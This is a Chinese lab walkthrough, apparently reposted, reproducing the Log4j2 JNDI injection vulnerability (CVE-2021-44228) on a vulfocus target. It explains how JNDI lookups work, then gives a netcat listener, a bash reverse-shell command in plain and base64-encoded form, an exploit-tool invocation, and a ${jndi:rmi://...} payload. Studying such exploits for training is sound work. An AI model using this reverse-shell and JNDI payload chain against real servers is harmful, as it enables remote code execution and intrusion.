概述
目录
前言
概述(来自vulfocus)
什么是JNDI
漏洞攻击原理
复现
1,点击???抓包
2,开启监听
编辑
3.构造执行反弹shell命令的攻击payload
4,用JNDI注入利用工具(构建ldap服务)生成payload:
5,利用靶机地址去访问攻击机的JNDI服务
6.拿到flag
前言
概述(来自vulfocus)
富的特性。该日志框架被大量用于业务Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。
log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。
什么是JNDI
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为待定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。JNDI注入主要是用过下载远程class,来运行恶意代码。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。
原理:JNDI通过lookup()方法解析接收自应用程序的信息,从而去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…)查找资源。
格式 ${jndi:rmi:192.168.96.1:1099/wqiyua}
漏洞攻击原理
当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中 当日志中含有该语句${jndi:ldap:x.x.x.x:x/exp}, lod4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:x.x.x.x:x/exp
解析到ldap,就会去x.x.x.x:x的ldap服务找名为shell的资源,如果找不到就会去http服务中找
在http中找到shell之后,就会将资源信息返回给应用程序的og4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入
攻击者就可以通过shell实现任意的命令执行,造成严重危害。
受影响版本:Apache Log4j 2.x <= 2.14.1
复现
JNDI注入利用工具:标签 ·mirrors / welk1n / JNDI-Injection-Exploit ·吉特代码 (gitcode.net)
1,点击???抓包
2,开启监听
nc -lvp 6677
3.构造执行反弹shell命令的攻击payload
bash -i >& /dev/tcp/攻击IP/监听端口 0>&1
将要执行的命令进行base64编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA5LzY2NzcgMD4mMQ==}|{base64,-d}|{bash,-i}
4,用JNDI注入利用工具(构建ldap服务)生成payload:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的bash反弹shell命令" -A “监听的IP地址”
生成rmi为:rmi://192.168.0.109:1099/t6i6ak
5,利用靶机地址去访问攻击机的JNDI服务
命令:payload=${jndi:生成的rmi}
payload=${jndi:rmi://192.168.0.109:1099/t6i6ak}
将payload进行URL编码,然后粘贴在payload处发送
6.拿到flag
正常就可以在监听处看到flag但是我一直不成功不知道为啥
最后
以上就是英俊哈密瓜为你收集整理的vulfocus复现:Log4j2远程命令执行(CVE-2021-44228)前言漏洞攻击原理复现的全部内容,希望文章能够帮你解决vulfocus复现:Log4j2远程命令执行(CVE-2021-44228)前言漏洞攻击原理复现所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复